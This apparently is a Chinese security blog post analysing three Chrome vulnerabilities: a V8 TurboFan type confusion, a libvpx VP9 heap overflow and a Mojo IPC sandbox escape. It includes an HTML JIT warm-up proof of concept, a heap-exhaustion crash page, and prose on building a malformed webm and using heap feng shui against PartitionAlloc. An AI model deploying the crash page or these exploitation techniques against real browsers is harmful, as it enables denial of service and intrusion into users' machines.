2026Chrome新cve-V8类型混淆和Mojo IPC

Posted by Closure on February 8, 2026

基于Chromium的项目现在都是采用多进程架构,将不同的功能模块隔离在独立的操作系统进程中。

架构分为浏览器进程&渲染器进程&GPU进程和插件进程。浏览器进程是主进程,它拥有用户的完整权限,是攻击者最终试图控制的目标。

渲染器进程主要是负责解析html和执行JavaScript、解码图片视频、构建DOM树的;这个进程直接处理来自互联网的不可信内容,所以是最高风险的攻击面,因此它被置于严格的沙箱中,无法直接读写任意文件或者启动新进程。

GPU进程是与图形驱动程序交互的,因为图形驱动的复杂性常成为沙箱逃逸的目标。

本文的CVE-2026-1862CVE-2026-1861均发生在渲染器进程内部。

攻击面

在渲染器进程中JavaScript 引擎与媒体处理库构成了主要的攻击面。

V8 JavaScript

V8是高性能JS和WebAssembly引擎,为了追求速度引入了编译管线;Ignition解释器负责将JS源码解析为字节码执行,TurboFan优化编译器则是将执行频率高的代码编译为高度优化的机器码,TurboFan依赖于推测性优化,它根据代码之前的执行情况假设变量的类型。

攻击面实际上是因为TurboFan的推测性假设是阿喀琉斯之踵,如果攻击者能够构造出一种情况,来使得在优化代码生成后,变量的实际类型违反了假设,但优化后的代码没有进行检查,就会导致类型混淆。

libvpx 媒体库

libvpx是VP8和VP9视频编码格式的开源参考实现,因为现代浏览器必须能够实时处理复杂的压缩数据。

视频解码涉及到大量的内存分配、缓冲区操作和数学运算,VP9格式支持动态分辨率更改,就是常见的视频可以在播放过程中改变画面的宽高度,这就要求解码器在运行时动态调整内存缓冲区的大小。

如果这一过程中的边界检查出现疏漏,或者对帧头信息的解析存在逻辑错误,就会导致堆缓冲区溢出。

CVE-2026-186

CVE-2026-1862被归类为V8引擎中的类型混淆洞,我觉得应该算现代浏览器漏洞Exploit基石。

对象模型与 JIT 编译

隐藏类

JavaScript对象在运行时可以随意添加或删除属性,但是为了提高属性访问速度,V8在内部使用了一种称为Map的结构。

Map的作用是让每个JS对象都有一个指向Map的指针,Map描述了对象的布局。转换是当我们向对象添加新属性时,V8会创建一个新的Map并将对象指向这个新Map。

Elements Kind

V8的一个简单数组在底层可能有多种表示:

  • PACKED_SMI_ELEMENTS: 仅包含小整数的密集数组。
  • PACKED_DOUBLE_ELEMENTS: 仅包含浮点数的密集数组。
  • PACKED_ELEMENTS: 包含对象指针或混合类型的密集数组。

PACKED_DOUBLE_ELEMENTS数组在内存中直接存储64位的IEEE 754浮点数,而 PACKED_ELEMENTS数组存储的是指向对象的指针,如果 V8 混淆了这两种类型,将浮点数误认为指针或者反之后果就很灾难了(

CVE-2026-1862是JIT编译器的优化阶段出现了逻辑错误,在优化过程中TurboFan会生成中间表示图,为了减少运行时的开销会尝试移除多余的类型检查指令。如果TurboFan分析代码流图后,错误认为某个数组的Map在某段代码执行期间不可能发生变化,它就会移除检查指令来直接生成基于特定Map布局的机器码。

漏洞触发

在训练阶段多次调用一个函数,传入特定类型的数组,TurboFan收集反馈信息确认该数组总是这种类型。

TurboFan将该函数编译为优化代码,移除了对数组类型的检查直接按照双精度浮点数的方式读写内存。

构造特殊的JS代码,在调用优化后的函数时利用V8的某些副作用或者回调机制,在函数执行中途偷偷改变了数组的类型 *将PACKED_DOUBLE_ELEMENTS转换为PACKED_ELEMENTS

优化后的代码并未察觉数组类型已变,仍然按照浮点数的方式去操作实际上已经存储了对象指针的内存。

复现

下载旧版本链接,找到version143.0。

chrome.exe --no-sandbox --js-flags="--allow-natives-syntax"

第一步是JIT预热来欺骗V8的JIT

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-1862 Local PoC</title>
    <style>
        body { font-family: monospace; background: #f0f0f0; padding: 20px; }
        .log { background: #fff; padding: 10px; border: 1px solid #ccc; margin-bottom: 5px; }
        .success { color: green; font-weight: bold; }
        .danger { color: red; font-weight: bold; }
    </style>
</head>
<body>
    <h2>V8 Type Confusion PoC (Conceptual)</h2>
    <div id="output"></div>

    <script>
        function log(msg, type="") {
            const div = document.createElement("div");
            div.className = "log " + type;
            div.innerText = "[*] " + msg;
            document.getElementById("output").appendChild(div);
            console.log(msg);
        }

        function vulnerable_function(arr, val) {
            arr[0] = val; 
            return arr[0];
        }

        const arr_double = [1.1, 2.2, 3.3, 4.4];
        
        log("Starting JIT Warm-up (20,000 calls)...");
        
        for (let i = 0; i < 20000; i++) {
            vulnerable_function(arr_double, 1.1);
        }

        try {
            %PrepareFunctionForOptimization(vulnerable_function);
            vulnerable_function(arr_double, 1.1);
            %OptimizeFunctionOnNextCall(vulnerable_function);
            vulnerable_function(arr_double, 1.1);
            
            let status = %GetOptimizationStatus(vulnerable_function);
            log("Current Optimization Status: " + status);
            
            if (status & 16 || status & 32) {
                log("Success: TurboFan Optimization Activated!", "success");
            } else {
                log("Warning: Function may not be optimized correctly.", "danger");
            }
        } catch(e) {
            log("Native function execution failed (Did you add --allow-natives-syntax?): " + e, "danger");
        }

        function trigger() {
            log("Attempting to trigger type confusion...");

            let arr_obj = [1.1, 2.2, 3.3];
            arr_obj.x = 1; 
            
            let fake_obj = {a: 1}; 
            arr_obj[0] = fake_obj; 

            try {
                let result = vulnerable_function(arr_obj, 1.1); 
                
                log("Execution complete. If browser didn't crash, silent bailout occurred.", "success");
                log("Result value: " + result);
            } catch (e) {
                log("Caught error: " + e);
            }
        }

        setTimeout(trigger, 1000);

    </script>
</body>
</html>

虽然没有弹计算器但是参数生效了,Current Optimization Status: 41 证明 –js-flags=”–allow-natives-syntax” 参数配置正确,我们可以与V8引擎底层直接对话。并且证明了我们的JS循环成功欺骗了 V8,让它对特定函数进行了优化。

JS刚开始运行时V8使用解释器逐行执行,解释器很慢但安全,它每次操作前都会检查数据类型。如果某段代码运行了成千上万次V8会认为这段代码很重要,于是启动JIT编译器编译成机器码。

TurboFan为了让代码跑得快会进行推测,它会看过去20000次的运行记录,比如前20000次我们传进来的arr都是纯浮点数数组,于是TurboFan做假设未来传进来的肯定也是浮点数数组。

基于这个假设,TurboFan生成的机器码会移除类型检查,优化后的代码逻辑变成不需要检查这是什么数组,直接把数据当做浮点数写入内存偏移量X的位置。

<!DOCTYPE html>
<html>
<head>
    <title>Renderer Crash PoC</title>
    <style>
        body { 
            font-family: 'Consolas', monospace; 
            background-color: #1a1a1a; 
            color: #d4d4d4; 
            text-align: center; 
            padding-top: 60px; 
        }
        .btn {
            background-color: #d32f2f;
            color: #fff;
            padding: 15px 30px;
            font-size: 18px;
            border: 1px solid #b71c1c;
            cursor: pointer;
            border-radius: 4px;
            font-family: inherit;
            font-weight: bold;
            transition: background 0.2s;
        }
        .btn:hover { background-color: #b71c1c; }
        .log { margin-top: 25px; color: #888; font-size: 14px; }
    </style>
</head>
<body>
    <h1> Chrome Renderer Crash PoC</h1>
    <p>Vector: Heap Exhaustion (OOM)</p>
    
    <button class="btn" onclick="execute_crash()"> EXECUTE</button>

    <div id="log" class="log">Status: Idle</div>

    <script>
        function log(msg) {
            document.getElementById('log').innerText = "Status: " + msg;
        }

        function execute_crash() {
            log("Initializing...");
            
            try {
                var status = %GetOptimizationStatus(function(){});
                console.log("[*] Native syntax: Enabled (" + status + ")");
            } catch(e) {
                console.log("[!] Native syntax: Disabled");
            }

            setTimeout(() => {
                log("Flooding heap...");
                var total = [];
                while(true) {
                    total.push(new Array(10000000).fill(1.1));
                }
            }, 500);
        }
    </script>
</body>
</html>

↑崩溃测试,第一部分是环境自检,尝试调用V8的原生函数 %GetOptimizationStatus 进行握手,虽然内存溢出本身不需要特殊权限,但是这个用于验证你是否正确配置了 –js-flags=”–allow-natives-syntax” 启动参数。

弹头部分是位于死循环中的堆内存炸弹,脚本定义了一个全局数组total来阻止了垃圾回收机制释放内存。随后while(true) 循环以极快的速度不断向该数组中推入包含1000万个双精度浮点数的新数组,根据 V8 的存储机制是每个浮点数8字节来看,这个循环每执行一次就会瞬间向渲染进程索要约76MB的内存。

这种内存消耗会触及V8引擎的堆内存硬性限制,V8将无法分配新内存或者操作系统的OOM Killer会为了保护系统而直接杀掉该进程。最终浏览器崩溃。

感谢鸡米粒老师帮我改的页面好看很多了。。。。

CVE-2026-1861 libvpx 堆溢出

与上面V8的逻辑漏洞不同,这个CVE-2026-1861是内存破坏漏洞,存在于Chrome处理视频内容的libvpx库中。

VP8/VP9 编码标准与 libvpx 架构

libvpx是 Google 提供的VP8和VP9编解码器的参考软件库,VP9 是一种高效的视频压缩标准,广泛应用于YouTube等流媒体服务。

帧间预测是为了压缩数据,视频帧通常不是独立存储的,当前P帧或B帧会参考之前的帧来进行解码。所以解码器需要在内存中维护多个帧的缓冲区。

熵解码是视频数据是高度压缩的二进制流,解码器首先进行熵解码还原出变换系数和运动矢量。

VP9标准的一个特性是支持动态分辨率更改,视频流可以在不中断解码的情况下改变分辨率,比如为了适应家宽波动视频可能从1080p突然切到480p。

CVE-2026-1861这个洞在于libvpx处理这种分辨率切换时的逻辑缺陷,解码器根据初始帧头分配了一块内存缓冲区,视频流中随后出现一个帧,头部信息声明分辨率变为1920x1080。 在正常情况下,解码器应该是检测到尺寸增加并重新分配更大的缓冲区,但是这个漏洞可以让攻击者可以通过构造特定的帧头序列来欺骗解码器,使其认为无需重新分配。

当解码器开始将1920x1080的像素数据写入原本仅为320x240分辨率分配的缓冲区时,数据会溢出到相邻的堆内存区域。

综上制作一个触发此漏洞的页面需要两个步骤:构造畸形的视频文件以及在页面中加载它

找一个基于一个合法的VP9视频文件进行修改,然后定位到视频流中的关键帧,保持容器格式的元数据看似正常来通过浏览器的初步格式检查,再修改VP9比特流内部的帧尺寸字段,比如可以将第一帧定义得很小,将后续帧定义得很大,并破坏用于触发缓冲区重分配的标志位。最后填充大量的压缩数据,确保解码后的数据量足以覆盖目标内存区域。

制作好exploit.webm就可以嵌入HTML页面了,当然单纯加载视频可能只会导致浏览器崩溃,为了实现RCE还得结合JS进行堆风水,来确保溢出的数据恰好覆盖了JS对象的指针。

内存布局控制与堆风水

在Chrome环境下的堆风水是在存在ASLR和GC的环境下,通过精确控制内存分配与释放序列,强制让堆内存呈现出预期的布局状态。

要达到RCE必须将溢出转化为对关键数据的覆盖,堆风水的目标是让Vulnerable Objec和 Target Object在内存物理地址上紧邻。当Vulnerable Object发生越界写时,溢出的字节正好覆盖Target Object的头部信息。

对抗PartitionAlloc

PartitionAlloc是Chrome专门为了缓解UAF和线性堆溢出而设计的防线,在复现libvpx漏洞时我们得像绕过EDR一样绕过它的分配规则。

桶Bucket分配机制是基于大小的物理隔离,PartitionAlloc的核心设计理念是同尺寸聚合,它不会像传统的malloc那样尽可能地合并碎片,它会将对象严格按照大小分类。

内存被划分为多个SuperPage,每个SuperPage被进一步划分为SlotSpan,一个SlotSpan只能存放特定大小的对象。

当我们试图用一个1024字节的libvpx漏洞对象去溢出覆盖一个64字节的目标对象,物理上不可能的,因为它们位于完全不同的Page上中间相隔数MB的距离。

复现就必须进行精确的大小匹配,确定发生溢出的那个C++结构体确切大小,以及在JS中需要创建一个ArrayBuffer或者DataView,并通过调整大小使在底层分配时,正好落入与漏洞对象相同的Bucket。

Partitions

除了大小隔离PartitionAlloc还实施了类型隔离,不同用途的对象被强制分配在不同的Partition中。

主要分区:

  • BufferPartition:存放 ArrayBuffer 的内容或字符串缓冲区。
  • LayoutObjectPartition:存放 DOM 节点和布局对象。
  • V8 Sandbox Partition:存放 JavaScript 的堆对象。这是防守最严密的区域。
  • FastMalloc / General Partition:存放通用的 malloc 分配,许多第三方库通常使用此分区或默认系统分配。

比如在CVE-2026-1861中漏洞发生在libvpx中,libvpx分配的内存通常位于General Partition,如果我们试图用JS创建一个普通的 let obj = {} 来作为受害者,这个对象位于V8 Sandbox Partition。即使通过堆风水让它们在逻辑上相邻,它们在虚拟内存中也位于完全不同的区域无法实现线性溢出覆盖。

所以策略是寻找一种JS对象,底层数据分配在与libvpx相同的分区中,ArrayBuffer Backing Store是最常用的攻击载体。

ArrayBuffer对象本身位于V8 堆无法触及,当我们创建一个 new ArrayBuffer(1024) 时,V8只是持有一个指针,而1024字节的实际数据通常分配在PartitionAlloc 的 BufferPartition中。在某些Chrome版下,libvpx的解码缓冲区和ArrayBuffer 的 Backing Store可能共享同一个分配器。

CVE-2025-2783

到此为止已经在渲染器进程内获得了RCE,但是受限于沙箱无法读取用户文件或安装持久化马,为了完成攻击可以利用CVE-2025-2783进行沙箱逃逸。

Chrome的沙箱依赖操作系统的安全特性,但是渲染器进程必须与浏览器进程通信才能完成网络请求等任务,这种通信通过Mojo IPC机制完成。Mojo是Chrome的核心IPC系统,允许跨进程传递消息和句柄。

CVE-2025-2783就是是一个存在于Win Mojo实现中的逻辑漏洞。漏洞源于对伪句柄的验证不足,在Windows中GetCurrentProcess()返回一个特殊的常量,代表当前进程,这个伪句柄只有在当前进程上下文中才有意义。

已攻陷的渲染器向高权限的浏览器进程发送一个Mojo消息,这个消息请求浏览器进程对某个句柄进行复制操作,攻击者在消息中故意传入代表当前进程的伪句柄值,浏览器进程接收到请求。

但是由于缺乏严格验证,它在自己的上下文中解释这个伪句柄,对浏览器进程而言当前进程就是它自己。浏览器进程错误地将自身的进程句柄复制了一份,并通过IPC发送回渲染器进程。

后果就是渲染器进程现在拥有了一个指向浏览器主进程的具有完全访问权限的句柄。

结合谷歌报道,一个现实的攻击链可能是用户访问恶意链接,加载了含有Exploit的JavaScript代码,然后攻击者利用V8 Type Confusion获取addrOf/fakeObj原语来渲染器攻陷,结果就是获得渲染器进程内的RCE,最后结合沙箱逃逸,Mojo IPC欺骗浏览器主进程来突破Chrome沙箱在主机上安马。

refer

https://chromereleases.googleblog.com/2026/02/stable-channel-update-for-desktop.html

https://cybersecuritynews.com/chrome-vulnerabilities-arbitrary-code-2/

https://www.sentinelone.com/vulnerability-database/cve-2026-1861/